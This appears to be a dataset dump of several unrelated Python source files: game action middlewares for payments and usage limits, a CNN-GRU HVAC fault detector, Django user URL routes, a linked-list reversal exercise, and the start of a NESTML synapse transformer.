\n Use *filter_by_action_name* to restrict the result to a specific action name, too.\n \"\"\"\n assert middleware_class\n data_dicts = []\n for user_id, private_data in list(self.all_private_data.items()):\n for action_name, tree in list(private_data.get(\"middlewares\", {}).items()):\n if filter_by_action_name is not None and filter_by_action_name != action_name:\n continue\n if middleware_class.__name__ in tree:\n data_dicts.append(tree[middleware_class.__name__])\n return data_dicts\n\n def get_private_middleware_data(self, action_name, middleware_class, create_if_unexisting=False):\n assert action_name and middleware_class\n assert self.user.is_character\n middleware_data = self.private_data[\"middlewares\"]\n if create_if_unexisting:\n middleware_data.setdefault(action_name, PersistentMapping())\n middleware_data[action_name].setdefault(middleware_class.__name__, PersistentMapping())\n return middleware_data[action_name][middleware_class.__name__]\n\n def has_action_middlewares_configured(self, action_name):\n return (action_name in self.settings[\"middlewares\"]) # middlewware could be disabled though!\n\n def is_action_middleware_activated(self, action_name, middleware_class):\n \"\"\"\n We assume a middleware is activated if it has an entry in middleware settings \n for that action AND its is_active flag set to True.\n \"\"\"\n assert action_name\n res = (self.user.is_character and\n action_name in self.settings[\"middlewares\"] and\n middleware_class.__name__ in self.settings[\"middlewares\"][action_name] and\n self.settings[\"middlewares\"][action_name][middleware_class.__name__][\"is_active\"])\n #print(\"is_action_middleware_activated\", action_name, middleware_class, res, \"---------\", self.settings) # FIXME REMOVE\n return res\n\n def _lazy_setup_private_action_middleware_data(self, action_name):\n \"\"\"\n To be overriden by each subclass.\n \"\"\"\n assert action_name\n\n def _process_action_through_middlewares(self, action_name, method, params):\n \"\"\"\n The chain of middleware processing ends here, by normal execution of the\n proper *method* callable (possibly a flattened version of thge original callback) \n with the dict of arguments *params*.\n \"\"\"\n if __debug__: self.notify_event(\"TOP_LEVEL_PROCESS_ACTION_THROUGH_MIDDLEWARES\")\n assert action_name\n return method(**params)\n\n def process_action_through_middlewares(self, action_name, method, params):\n self._lazy_setup_private_action_middleware_data(action_name=action_name)\n return self._process_action_through_middlewares(action_name=action_name, method=method, params=params)\n\n def _get_middleware_data_explanations(self, action_name):\n \"\"\"\n Override this to agregate a list of lists/tuples of human-readable instruction strings.\n \"\"\"\n return []\n\n @readonly_method\n def get_middleware_data_explanations(self, action_name):\n if not self.has_action_middlewares_configured(action_name=action_name):\n return []\n else:\n return self._get_middleware_data_explanations(action_name=action_name)\n\n @readonly_method\n def get_game_actions_explanations(self):\n \"\"\"\n BEWARE - overrides AbstractGameView stuffs!\n \"\"\"\n res = super(AbstractActionMiddleware, self).get_game_actions_explanations()\n for (action_name, action_data) in sorted(\n self.GAME_ACTIONS.items()): # sorted by IDENTIFIER order at the moment....\n explanations = self.get_middleware_data_explanations(\n action_name=action_name) # atm, we assume that ALWAYS at least 1 middelware class is merged into hierarchy...\n if explanations: # empty if no middlewares activated for that action_name\n res.append((action_data[\"title\"], explanations))\n return res\n\n def _get_game_form_extra_params(self, action_name):\n return {}\n\n @readonly_method\n def get_game_form_extra_params(self, action_name):\n \"\"\"\n Useful to auto-add utility controls in forms, \n like for money/gems payments.\n \"\"\"\n assert isinstance(action_name, str)\n return self._get_game_form_extra_params(action_name=action_name)\n\n\n@register_action_middleware\nclass CostlyActionMiddleware(AbstractActionMiddleware):\n \"\"\"\n Mix-in class that manages the purchase of items/services\n by characters, in an ability.\n \n If payement by gem is activated, then the concerned action callable\n must accept a *use_gems* argument (list of gem values) in input.\n \n settings:\n \n money_price: 115 (None if forbidden)\n gems_price: 234 (None if forbidden)\n \n private_data:\n \n \n \n \"\"\"\n\n COMPATIBLE_ACCESSES = (UserAccess.character,)\n\n def _lazy_setup_private_action_middleware_data(self, action_name):\n super(CostlyActionMiddleware, self)._lazy_setup_private_action_middleware_data(action_name)\n if self.is_action_middleware_activated(action_name, CostlyActionMiddleware):\n data = self.get_private_middleware_data(action_name, CostlyActionMiddleware, create_if_unexisting=True)\n if not data:\n pass # nothing to store for that middleware, actually\n\n def _check_action_middleware_data_sanity(self, strict=False):\n super(CostlyActionMiddleware, self)._check_action_middleware_data_sanity(strict=strict)\n\n for _action_name_, settings in list(self.get_all_middleware_settings(CostlyActionMiddleware).items()):\n\n for setting in \"money_price gems_price\".split():\n if settings[setting] is not None: # None means \"impossible to buy this way\"\n utilities.check_is_positive_int(settings[setting], non_zero=True)\n assert settings[\"money_price\"] or settings[\"gems_price\"] # at least one means must be offered\n\n def _get_middleware_data_explanations(self, action_name):\n \"\"\"\n Override this to agregate the whole list of huma-readable instruction strings.\n \"\"\"\n\n other_instructions = super(CostlyActionMiddleware, self)._get_middleware_data_explanations(action_name)\n\n if self.is_action_middleware_activated(action_name, CostlyActionMiddleware):\n\n res = []\n middleware_settings = self.get_middleware_settings(action_name, CostlyActionMiddleware)\n\n if middleware_settings[\"money_price\"] is not None:\n res.append(_(\"Cost when paying with money: %s kashes.\") % middleware_settings[\"money_price\"])\n else:\n res.append(_(\"Can't be bought with money.\"))\n\n if middleware_settings[\"gems_price\"] is not None:\n res.append(_(\"Cost when paying with gems: %s kashes.\") % middleware_settings[\"gems_price\"])\n else:\n res.append(_(\"Can't be bought with gems.\"))\n\n assert res\n return [res] + other_instructions # list of lists of strings!\n\n else:\n return other_instructions\n\n assert False\n\n def _process_action_through_middlewares(self, action_name, method, params):\n\n if self.is_action_middleware_activated(action_name, CostlyActionMiddleware):\n\n middleware_settings = self.get_middleware_settings(action_name, CostlyActionMiddleware)\n\n if not middleware_settings[\"gems_price\"] and not middleware_settings[\"money_price\"]:\n self.logger.critical(\"Nasty costly action middleware misconfiguration for %s/%s\", action_name,\n method.__name__)\n pass # too bad misconfiguration, we let full action to that ability...\n else:\n use_gems = params.get(\"use_gems\", ())\n\n # non-fatal coherence checks\n if middleware_settings[\"gems_price\"] and \"use_gems\" not in params:\n self.logger.critical(\n \"Action %s was configured to be payable by gems, but no input field is available for this : %r\",\n action_name, params)\n if not middleware_settings[\"gems_price\"] and use_gems:\n self.logger.critical(\n \"Action %s was configured to be NOT payable by gems, but gems were sent via input field\",\n action_name)\n use_gems = ()\n\n if use_gems or not middleware_settings[\"money_price\"]:\n gems_price = middleware_settings[\"gems_price\"]\n self._pay_with_gems(gems_price, use_gems)\n self.log_game_event(ugettext_noop(\n \"A payment of %(cost)s¤ was issued with gems %(gems_list)s for service '%(service)s'\"),\n PersistentMapping(cost=gems_price, service=action_name,\n gems_list=str(use_gems)),\n url=None,\n visible_by=[self.user.username])\n\n else:\n money_price = middleware_settings[\"money_price\"]\n character_properties = self.get_character_properties()\n self._pay_with_money(character_properties, money_price)\n self.log_game_event(\n ugettext_noop(\"A payment of %(cost)s¤ was issued with money, for service '%(service)s'\"),\n PersistentMapping(cost=money_price, service=action_name),\n url=None,\n visible_by=[self.user.username])\n\n return super(CostlyActionMiddleware, self)._process_action_through_middlewares(action_name=action_name,\n method=method, params=params)\n\n def _pay_with_gems(self, gems_price, gems_list):\n assert gems_price\n gems_values = [i[0] for i in gems_list] if gems_list else []\n\n provided_gems_value = sum(gems_values) if gems_values else 0 # gems_list could be empty!!\n if (provided_gems_value < gems_price):\n raise NormalUsageError(\n _(\"You need at least %(gems_price)s kashes of gems to buy this asset\") % SDICT(gems_price=gems_price))\n\n min_gem_value = min(gems_values) if gems_values else 0 # necessarily non-empty here\n if (provided_gems_value - gems_price) >= min_gem_value:\n raise NormalUsageError(_(\"You provided too many gems for the value of that asset, please top off\") % SDICT(\n gems_price=gems_price))\n\n self.debit_character_gems(gems_choices=gems_list)\n\n def _pay_with_money(self, character_properties, money_price):\n assert money_price\n #print(\"PAYING WITH\", money_price)\n\n if character_properties[\"account\"] < money_price:\n raise NormalUsageError(\n _(\"You need at least %(price)s kashes in money to buy this asset\") % SDICT(price=money_price))\n\n character_properties[\"account\"] -= money_price\n self.data[\"global_parameters\"][\"bank_account\"] += money_price\n\n def _get_game_form_extra_params(self, action_name):\n\n extra_params = super(CostlyActionMiddleware, self)._get_game_form_extra_params(action_name=action_name)\n\n if self.is_action_middleware_activated(action_name, CostlyActionMiddleware):\n\n middleware_settings = self.get_middleware_settings(action_name, CostlyActionMiddleware)\n\n if middleware_settings[\"money_price\"] is not None:\n assert \"payment_by_money\" not in extra_params\n extra_params[\"payment_by_money\"] = True\n if middleware_settings[\"gems_price\"] is not None:\n assert \"payment_by_gems\" not in extra_params\n extra_params[\"payment_by_gems\"] = True\n\n return extra_params\n\n\n@register_action_middleware\nclass CountLimitedActionMiddleware(AbstractActionMiddleware):\n \"\"\"\n Mix-in class that limits the count of uses of an action,\n on a global or per-player basis.\n\n settings::\n \n max_per_character: 3 (None if no limit is set)\n max_per_game: 6 (None if no limit is set)\n \n private_data::\n \n private_usage_count: 3\n \n \"\"\"\n\n COMPATIBLE_ACCESSES = (UserAccess.character,)\n\n def _lazy_setup_private_action_middleware_data(self, action_name):\n super(CountLimitedActionMiddleware, self)._lazy_setup_private_action_middleware_data(action_name)\n if self.is_action_middleware_activated(action_name, CountLimitedActionMiddleware):\n\n data = self.get_private_middleware_data(action_name, CountLimitedActionMiddleware,\n create_if_unexisting=True)\n if not data:\n data.setdefault(\"private_usage_count\", 0)\n\n def _check_action_middleware_data_sanity(self, strict=False):\n super(CountLimitedActionMiddleware, self)._check_action_middleware_data_sanity(strict=strict)\n\n settings = self.settings\n for action_name, settings in list(self.get_all_middleware_settings(CountLimitedActionMiddleware).items()):\n\n assert settings[\"max_per_character\"] is not None or settings[\n \"max_per_game\"] is not None # else misconfiguration\n\n if settings[\"max_per_character\"] is not None:\n utilities.check_is_positive_int(settings[\"max_per_character\"], non_zero=True)\n for data in self.get_all_private_middleware_data(CountLimitedActionMiddleware,\n filter_by_action_name=action_name):\n assert data[\"private_usage_count\"] <= settings[\"max_per_character\"]\n\n if settings[\"max_per_game\"] is not None:\n utilities.check_is_positive_int(settings[\"max_per_game\"], non_zero=True)\n assert self._get_global_usage_count(action_name) <= settings[\"max_per_game\"]\n\n def _get_middleware_data_explanations(self, action_name):\n \"\"\"\n Override this to agregate the whole list of huma-readable instruction strings.\n \"\"\"\n other_instructions = super(CountLimitedActionMiddleware, self)._get_middleware_data_explanations(action_name)\n\n if self.is_action_middleware_activated(action_name, CountLimitedActionMiddleware):\n\n res = []\n middleware_settings = self.get_middleware_settings(action_name, CountLimitedActionMiddleware)\n\n if middleware_settings[\"max_per_game\"] is not None:\n res.append(_(\"Total units available: %s.\") % middleware_settings[\"max_per_game\"])\n res.append(_(\"Total units already used: %s.\") % self._get_global_usage_count(action_name))\n\n if middleware_settings[\"max_per_character\"] is not None:\n res.append(_(\"Units available per user: %s.\") % middleware_settings[\"max_per_character\"])\n\n # in ANY case\n try:\n private_data = self.get_private_middleware_data(action_name, CountLimitedActionMiddleware,\n create_if_unexisting=False) # important\n units_consumed = private_data[\"private_usage_count\"]\n except LookupError: # user has never used that action\n units_consumed = 0\n res.append(_(\"Units already consumed by yourself: %s.\") % units_consumed)\n\n assert res\n return [res] + other_instructions # list of lists of strings!\n\n else:\n return other_instructions\n\n assert False\n\n def _get_global_usage_count(self, action_name):\n data_dicts = self.get_all_private_middleware_data(middleware_class=CountLimitedActionMiddleware,\n filter_by_action_name=action_name)\n global_usage_count = sum(data[\"private_usage_count\"] for data in data_dicts)\n return global_usage_count\n\n def _process_action_through_middlewares(self, action_name, method, params):\n\n if self.is_action_middleware_activated(action_name, CountLimitedActionMiddleware):\n\n middleware_settings = self.get_middleware_settings(action_name, CountLimitedActionMiddleware)\n private_data = self.get_private_middleware_data(action_name,\n CountLimitedActionMiddleware) # MUST EXIST HERE\n\n if middleware_settings[\"max_per_game\"]: # 0 <-> None\n if self._get_global_usage_count(action_name) >= middleware_settings[\"max_per_game\"]:\n raise NormalUsageError(\n _(\"The global quota (%(max_per_game)s uses) for that asset has been exceeded\") % SDICT(\n max_per_game=middleware_settings[\"max_per_game\"]))\n\n if middleware_settings[\"max_per_character\"]: # 0 <-> None\n if private_data[\"private_usage_count\"] >= middleware_settings[\"max_per_character\"]:\n raise NormalUsageError(\n _(\"You have exceeded your quota (%(max_per_character)s uses) for that asset\") % SDICT(\n max_per_character=middleware_settings[\"max_per_character\"]))\n\n private_data[\"private_usage_count\"] += 1 # important\n\n return super(CountLimitedActionMiddleware, self)._process_action_through_middlewares(action_name=action_name,\n method=method,\n params=params)\n\n\n\n # No need for def _get_game_form_extra_params(self, action_name) here ATM #\n\n\n@register_action_middleware\nclass TimeLimitedActionMiddleware(AbstractActionMiddleware):\n \"\"\"\n Mix-in class that limits the use of an action per period of time.\n\n settings::\n \n waiting_period_mn: 3 (None if no limit is set)\n max_uses_per_period: 2\n \n private_data::\n \n last_use_times: array of datetimes\n \n \"\"\"\n\n COMPATIBLE_ACCESSES = (UserAccess.character,)\n\n def _lazy_setup_private_action_middleware_data(self, action_name):\n super(TimeLimitedActionMiddleware, self)._lazy_setup_private_action_middleware_data(action_name)\n if self.is_action_middleware_activated(action_name, TimeLimitedActionMiddleware):\n\n data = self.get_private_middleware_data(action_name, TimeLimitedActionMiddleware, create_if_unexisting=True)\n if not data:\n data.setdefault(\"last_use_times\", PersistentList())\n\n def _check_action_middleware_data_sanity(self, strict=False):\n super(TimeLimitedActionMiddleware, self)._check_action_middleware_data_sanity(strict=strict)\n\n settings = self.settings\n now = datetime.utcnow()\n\n for action_name, settings in list(self.get_all_middleware_settings(TimeLimitedActionMiddleware).items()):\n\n # all these settings must be > 0 !!\n utilities.check_is_positive_float(settings[\"waiting_period_mn\"], non_zero=True) # beware, RELATIVE delay\n utilities.check_is_positive_float(settings[\"max_uses_per_period\"], non_zero=True)\n\n for data in self.get_all_private_middleware_data(TimeLimitedActionMiddleware,\n filter_by_action_name=action_name):\n last_uses = data[\"last_use_times\"]\n utilities.check_is_list(last_uses)\n assert len(last_uses) <= settings[\"max_uses_per_period\"] # must be ensured even if setting changes!\n for item in last_uses:\n assert isinstance(item, datetime)\n assert item <= now\n\n def _get_middleware_data_explanations(self, action_name):\n \"\"\"\n Override this to agregate the whole list of huma-readable instruction strings.\n \"\"\"\n\n other_instructions = super(TimeLimitedActionMiddleware, self)._get_middleware_data_explanations(action_name)\n\n if self.is_action_middleware_activated(action_name, TimeLimitedActionMiddleware):\n\n res = []\n middleware_settings = self.get_middleware_settings(action_name, TimeLimitedActionMiddleware)\n\n actual_delay_mn = int(self.compute_effective_delay_s(middleware_settings[\n \"waiting_period_mn\"] or 0) / 60) # floor division, 0 is a redundant security for misconfiguration\n max_uses_per_period = middleware_settings[\"max_uses_per_period\"] or 0 # 0 for misconfiguration protection\n res.append(\n _(\"This action can be performed %(max_uses_per_period)s time(s) every %(actual_delay_mn)s minutes.\") %\n SDICT(max_uses_per_period=max_uses_per_period, actual_delay_mn=actual_delay_mn))\n\n if middleware_settings[\"waiting_period_mn\"] and middleware_settings[\n \"max_uses_per_period\"]: # in case of misconfiguration\n try:\n private_data = self.get_private_middleware_data(action_name, TimeLimitedActionMiddleware,\n create_if_unexisting=False) # important\n blocking_times = self._compute_purged_old_use_times(middleware_settings=middleware_settings,\n last_use_times=private_data[\"last_use_times\"])\n except LookupError: # user has never used that action\n blocking_times = ()\n else:\n blocking_times = ()\n\n res.append(_(\"In this last period, you've done it %s time(s).\") % len(blocking_times))\n\n assert res\n return [res] + other_instructions # list of lists of strings!\n\n else:\n return other_instructions\n\n assert False\n\n def _compute_purged_old_use_times(self, middleware_settings, last_use_times):\n \"\"\"\n Returns a copied list, with non-outdated last use dates.\n \"\"\"\n threshold = self.compute_effective_remote_datetime(\n delay_mn=-middleware_settings[\"waiting_period_mn\"]) # FLEXIBLE TIME, but in the past here\n purged_old_use_times = [dt for dt in last_use_times if dt > threshold]\n return PersistentList(purged_old_use_times)\n #res = bool(len(purged_old_use_times) < len(last_use_times))\n ##private_data[\"last_use_times\"] = PersistentList(purged_old_use_times)\n #return res\n\n def _process_action_through_middlewares(self, action_name, method, params):\n\n if self.is_action_middleware_activated(action_name, TimeLimitedActionMiddleware):\n\n middleware_settings = self.get_middleware_settings(action_name, TimeLimitedActionMiddleware)\n private_data = self.get_private_middleware_data(action_name, TimeLimitedActionMiddleware) # MUST EXIST\n\n if middleware_settings[\"waiting_period_mn\"] and middleware_settings[\n \"max_uses_per_period\"]: # in case of misconfiguration\n\n private_data[\"last_use_times\"] = self._compute_purged_old_use_times(\n middleware_settings=middleware_settings, last_use_times=private_data[\"last_use_times\"])\n\n last_use_times = private_data[\"last_use_times\"]\n now = datetime.utcnow() # to debug\n if len(last_use_times) >= middleware_settings[\"max_uses_per_period\"]:\n raise NormalUsageError(_(\"You must respect a waiting period to use that asset.\"))\n\n private_data[\"last_use_times\"].append(datetime.utcnow()) # updated in any case\n\n return super(TimeLimitedActionMiddleware, self)._process_action_through_middlewares(action_name=action_name,\n method=method,\n params=params)\n\n\n # No need for def _get_game_form_extra_params(self, action_name) here ATM #\n\n\n''' TO BE USED\n \n utilities.check_is_bool(settings[\"assets_allow_duplicates\"]) \n \n for setting in \"assets_max_per_game assets_max_per_player assets_money_price assets_max_per_player\".split():\n if settings[setting]:\n utilities.check_positive_int(settings[setting])\n utilities.check_is_bool(settings[\"assets_allow_duplicates\"])\n\n total_items = 0\n for private_data in self.all_private_data.values():\n player_items = private_data[\"assets_items_bought\"]\n assert len(player_items) <= settings[\"assets_max_per_player\"]\n if settings[\"assets_allow_duplicates\"]:\n assert len(set(player_items)) == len(player_items)\n total_items += len(player_items)\n assert total_items <= settings[\"assets_max_per_game\"]\n\n \n \n @classmethod\n def _setup_ability_settings(cls, settings):\n \n \n super(PayableAbilityHandler, None)._setup_ability_settings(settings)\n settings.setdefault(\"assets_max_per_game\", None) # limit for the total number of such items bought by players, false value if unlimited\n settings.setdefault(\"assets_max_per_player\", None) # limit for the number of such items bought by a particular player, false value if unlimited\n settings.setdefault(\"assets_money_price\", None) # integer, false value if not possible to buy with money\n settings.setdefault(\"assets_gems_price\", None) # integer, false value if not possible to buy with gems\n settings.setdefault(\"assets_allow_duplicates\", True) # boolean indicating if the same key may appear several times in *assets_items_bought*\n\n\n def _setup_private_ability_data(self, private_data):\n super(PayableAbilityHandler, None)._setup_private_ability_data(private_data)\n private_data.setdefault(\"assets_items_bought\", PersistentList()) # list of picklable keys identifying items bought by player\n\n\n\n\n\n def _assets_bought_are_strictly_under_limits(self):\n\n settings = self.settings\n\n if settings[\"assets_max_per_player\"]:\n private_data = self.private_data\n if private_data[\"assets_items_bought\"] >= settings[\"assets_max_per_player\"]:\n return False\n\n if settings[\"assets_max_per_game\"]:\n total_items = sum(len(private_data[\"assets_items_bought\"]) for private_data in self.all_private_data.values())\n if total_items >= settings[\"assets_max_per_game\"]:\n return False\n\n return True\n\n\n @transaction_watcher\n def purchase_single_asset(self, asset_id, pay_with_gems=None):\n \"\"\"\n *buy_with_gems* is None (if we buy with money), or list of gem values to use\n (gems that the player must possess, of course).\n \"\"\"\n\n user = self.datamanager.user\n\n assert user.is_character\n\n if isinstance(asset_id, (list, dict, set)) and not isinstance(asset_id, Persistent):\n raise RuntimeError(\"Wrong mutable asset id %s, we need Persistent types instead for ZODB\" % asset_id)\n\n if not user.is_character:\n raise AbnormalUsageError(_(\"Only regular users may purchase items and services\")) # shouldn't happen\n\n settings = self.settings\n private_data = self.private_data\n\n if not self._assets_bought_are_strictly_under_limits():\n raise AbnormalUsageError(_(\"No more assets available for purchase\"))\n\n if settings[\"assets_allow_duplicates\"] and asset_id in private_data[\"assets_items_bought\"]:\n raise AbnormalUsageError(_(\"You have already purchased that asset\"))\n\n\n player_properties = self.get_character_properties()\n\n if pay_with_gems:\n\n gems_price = settings[\"assets_gems_price\"]\n\n if not gems_price:\n raise AbnormalUsageError(_(\"That asset must be bought with money, not gems\"))\n\n if sum(pay_with_gems) < gems_price:\n raise NormalUsageError(_(\"You need at least %(price)s kashes in gems to buy that asset\") % SDICT(gems_price=gems_price))\n\n # we don't care if the player has given too many gems\n remaining_gems = utilities.substract_lists(character_properties[\"gems\"], pay_with_gems)\n\n if remaining_gems is None:\n raise AbnormalUsageError(_(\"You don't possess the gems required\"))\n else:\n character_properties[\"gems\"] = remaining_gems\n\n\n else: # paying with bank money\n\n money_price = settings[\"assets_money_price\"]\n\n if not money_price:\n raise AbnormalUsageError(_(\"That asset must be bought with gems, not money\"))\n\n if character_properties[\"account\"] < money_price:\n raise NormalUsageError(_(\"You need at least %(price)s kashes in money to hire these agents\") % SDICT(price=money_price))\n\n character_properties[\"account\"] -= money_price\n\n self.data[\"global_parameters\"][\"bank_account\"] += money_price\n\n\n\n def is_private_action_middleware_data_uninitialized(self, action_name, middleware_class): \n \"\"\"\n Initialize base structures if required.\n Returns True iff private middleware data for that action is necessary AND not yet initialized.\n \"\"\"\n if self.is_action_middleware_activated(self, action_name, middleware_class): \n middleware_data = self.private_datar[\"middlewares\"]\n middleware_data.setdefault(action_name, PersistentMapping()) \n if middleware_class. name_ not in middleware_data[action_name]: \n middleware_data[action_name].setdefault(action_name, PersistentMapping()) \n return True \n return False'''\n","repo_name":"ChrysalisTeam/pychronia","sub_path":"pychronia_game/datamanager/action_middlewares.py","file_name":"action_middlewares.py","file_ext":"py","file_size_in_byte":37083,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"40171759609","text":"import pandas as pd\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\n\n\ndevice_id = 1\ntorch.cuda.set_device(device_id)\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nrate=0.007123381892567762\nL2= 0.0001\nclass Net(nn.Module):\n def __init__(self, input_channels=19, num_filters=109, \n kernel_size=2, hidden_size=90, \n dropout= 0.5, stride=2):\n super(Net, self).__init__()\n self.conv_layer1 = nn.Conv1d(input_channels, num_filters, kernel_size)\n self.bn1 = nn.BatchNorm1d(num_filters)\n self.relu1 = nn.ReLU()\n self.max_pool1 = nn.MaxPool1d(kernel_size=2, stride=stride)\n self.conv_layer2 = nn.Conv1d(num_filters, num_filters, kernel_size)\n self.bn2 = nn.BatchNorm1d(num_filters)\n self.relu2 = nn.ReLU()\n self.max_pool2 = nn.MaxPool1d(kernel_size=2, stride=stride)\n self.gru = nn.GRU(num_filters, hidden_size, batch_first=True) \n self.dropout = nn.Dropout(dropout)\n self.fc2 = nn.Linear(hidden_size, 1)\n\n def forward(self, x):\n out = self.conv_layer1(x)\n out = self.bn1(out)\n out = self.relu1(out)\n out = self.max_pool1(out)\n out = self.conv_layer2(out)\n out = self.bn2(out)\n out = self.relu2(out)\n out = self.max_pool2(out)\n out = out.permute(0, 2, 1) \n out, _ = self.gru(out) \n out = out[:, -1, :] \n out = self.dropout(out)\n out = self.fc2(out)\n out = torch.sigmoid(out)\n return out\ncriterion = nn.BCELoss()\nmodel = Net().to(device)\noptimizer = optim.Adam(model.parameters(), lr=rate, weight_decay=L2)\n\n\nM1 = torch.load('best_model-F1-CNNGRU.pt')\nM2 = torch.load('best_model-F2-CNNGRU.pt')\nM3 = torch.load('best_model-F3-CNNGRU.pt')\n\ncols=['Set_temp', 'Hvac_state', 'Room_occupation', 'Window', 'Hvac_mode', 'Hvac_state_manual', \n 'Room_temp_up','Room_temp_down', 'Room_temp_cw', 'Room_temp_ccw','Room_temp', 'Orientation_S',\n 'Orientation_W', 'Orientation_N', 'Orientation_E','FS_0', 'FS_1','FS_2', 'FS_3']\n\nclass HvacDataset(torch.utils.data.Dataset):\n def __init__(self, data):\n self.data = data[cols]\n self.window_size = 96\n self.step_size = 96\n self.scaler = StandardScaler()\n self.scaler.fit(self.data)\n self.windows = self.generate_windows()\n\n def generate_windows(self):\n windows = []\n for i in range(0, len(self.data) - self.window_size + 1, self.step_size):\n window = self.data[i:i + self.window_size]\n windows.append(window)\n return windows\n \n def __getitem__(self, index):\n window = self.windows[index]\n window_data = self.scaler.transform(window)\n x = torch.from_numpy(window_data).permute(1, 0)\n return x\n\n def __len__(self):\n return len(self.windows)\n\ndef detect(df,M1,M2,M3):\n x=HvacDataset(df)\n\n data_loader = torch.utils.data.DataLoader(x, batch_size=1)\n preds=[]\n for inputs in data_loader:\n inputs = inputs.float().to(device)\n\n output1 = M1(inputs)\n output2 = M2(inputs)\n output3 = M3(inputs)\n\n p1= torch.sigmoid(output1)\n p2= torch.sigmoid(output2)\n p3= torch.sigmoid(output3)\n \n preds.append(p1.cpu().detach().numpy())\n preds.append(p2.cpu().detach().numpy())\n preds.append(p3.cpu().detach().numpy())\n\n #Transformacija podataka u listu\n p = np.ravel(preds).tolist()\n return p\n","repo_name":"IvaMate/Fault-Detection-and-Diagnosis-with-DL-and-ML-models","sub_path":"anomaly.py","file_name":"anomaly.py","file_ext":"py","file_size_in_byte":3612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9656845984","text":"from django.urls import path\nfrom app_users.views import AnotherLoginView, AnotherLogoutView, register_view, user_account\nfrom mysite.views import MainView\n\n\nurlpatterns = [\n path('', MainView.as_view(), name='main'),\n path('login/', AnotherLoginView.as_view(), name='login'),\n path('logout/', AnotherLogoutView.as_view(), name='logout'),\n path('register/', register_view, name='register'),\n path('account/', user_account, name='account'),\n]\n","repo_name":"daniilbp/python_django","sub_path":"002.app_news.REG.PERM/mysite/app_users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"420174323","text":"# -*- coding: utf-8 -*-\n\n# @Author: xyq\n# 1 2 3 4 5\n# 1 p\n# 2 q\n# 2-1\n# 3-2-1\n# 4-3-2-1\n# 5-4-3-2-1\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\ndef ReverseList(pHead):\n q = pHead.next\n p = pHead\n p.next = None\n while q:\n r = q.next\n q.next = p\n p = q\n q = r\n return p\n\n\n","repo_name":"Cassiexyq/Program-Exercise","sub_path":"剑指offer/015-反转链表.py","file_name":"015-反转链表.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73276568516","text":"from __future__ import annotations\n\nfrom typing import Optional, Mapping, Any, Union, Sequence\n\nfrom pynestml.meta_model.ast_node import ASTNode\n\nfrom pynestml.utils.logger import Logger, LoggingLevel\nfrom pynestml.transformers.transformer import Transformer\nfrom pynestml.utils.ast_utils import ASTUtils\nfrom pynestml.visitors.ast_symbol_table_visitor import ASTSymbolTableVisitor\nfrom pynestml.frontend.frontend_configuration import FrontendConfiguration\n\nfrom pynestml.utils.string_utils import removesuffix\n\n\nclass SynapseRemovePostPortTransformer(Transformer):\n _default_options = {\n \"neuron_synapse_pairs\": []\n }\n\n def __init__(self, options: Optional[Mapping[str, Any]] = None):\n super(Transformer, self).__init__(options)\n\n def is_special_port(self, special_type: str, port_name: str, neuron_name: str, synapse_name: str) -> bool:\n \"\"\"\n Check if a port by the given name is specified as connecting to the postsynaptic neuron. Only makes sense\n for synapses.\n \"\"\"\n assert special_type in [\"post\", \"vt\"]\n if not \"neuron_synapse_pairs\" in self._options.keys():\n return False\n\n for neuron_synapse_pair in self._options[\"neuron_synapse_pairs\"]:\n if not (neuron_name in [neuron_synapse_pair[\"neuron\"],\n neuron_synapse_pair[\"neuron\"] + FrontendConfiguration.suffix]\n and synapse_name in [neuron_synapse_pair[\"synapse\"],\n neuron_synapse_pair[\"synapse\"] + FrontendConfiguration.suffix]):\n continue\n\n if not special_type + \"_ports\" in neuron_synapse_pair.keys():\n return False\n\n post_ports = neuron_synapse_pair[special_type + \"_ports\"]\n if not isinstance(post_ports, list):\n # only one port name given, not a list\n return port_name == post_ports\n\n for post_port in post_ports:\n if type(post_port) is not str and len(post_port) == 2: # (syn_port_name, neuron_port_name) tuple\n post_port = post_port[0]\n if type(post_port) is not str and len(post_port) == 1: # (syn_port_name)\n return post_port[0] == port_name\n if port_name == post_port:\n return True\n\n return False\n\n def is_post_port(self, port_name: str, neuron_name: str, synapse_name: str) -> bool:\n return self.is_special_port(\"post\", port_name, neuron_name, synapse_name)\n\n def is_vt_port(self, port_name: str, neuron_name: str, synapse_name: str) -> bool:\n return self.is_special_port(\"vt\", port_name, neuron_name, synapse_name)\n\n def get_post_port_names(self, synapse, neuron_name: str, synapse_name: str):\n post_port_names = []\n for input_block in synapse.get_input_blocks():\n for port in input_block.get_input_ports():\n if self.is_post_port(port.name, neuron_name, synapse_name):\n post_port_names.append(port.get_name())\n return post_port_names\n\n def get_spiking_post_port_names(self, synapse, neuron_name: str, synapse_name: str):\n post_port_names = []\n for input_block in synapse.get_input_blocks():\n for port in input_block.get_input_ports():\n if self.is_post_port(port.name, neuron_name, synapse_name) and port.is_spike():\n post_port_names.append(port.get_name())\n return post_port_names\n\n def get_vt_port_names(self, synapse, neuron_name: str, synapse_name: str):\n post_port_names = []\n for input_block in synapse.get_input_blocks():\n for port in input_block.get_input_ports():\n if self.is_vt_port(port.name, neuron_name, synapse_name):\n post_port_names.append(port.get_name())\n return post_port_names\n\n def transform_neuron_synapse_pair_(self, neuron, synapse):\n\n new_neuron = neuron.clone()\n new_synapse = synapse.clone()\n\n assert len(new_neuron.get_equations_blocks()) <= 1, \"Only one equations block per neuron supported for now.\"\n assert len(new_synapse.get_equations_blocks()) <= 1, \"Only one equations block per synapse supported for now.\"\n assert len(new_neuron.get_state_blocks()) <= 1, \"Only one state block supported per neuron for now.\"\n assert len(new_synapse.get_state_blocks()) <= 1, \"Only one state block supported per synapse for now.\"\n assert len(new_neuron.get_update_blocks()) <= 1, \"Only one update block supported per neuron for now.\"\n assert len(new_synapse.get_update_blocks()) <= 1, \"Only one update block supported per synapse for now.\"\n\n 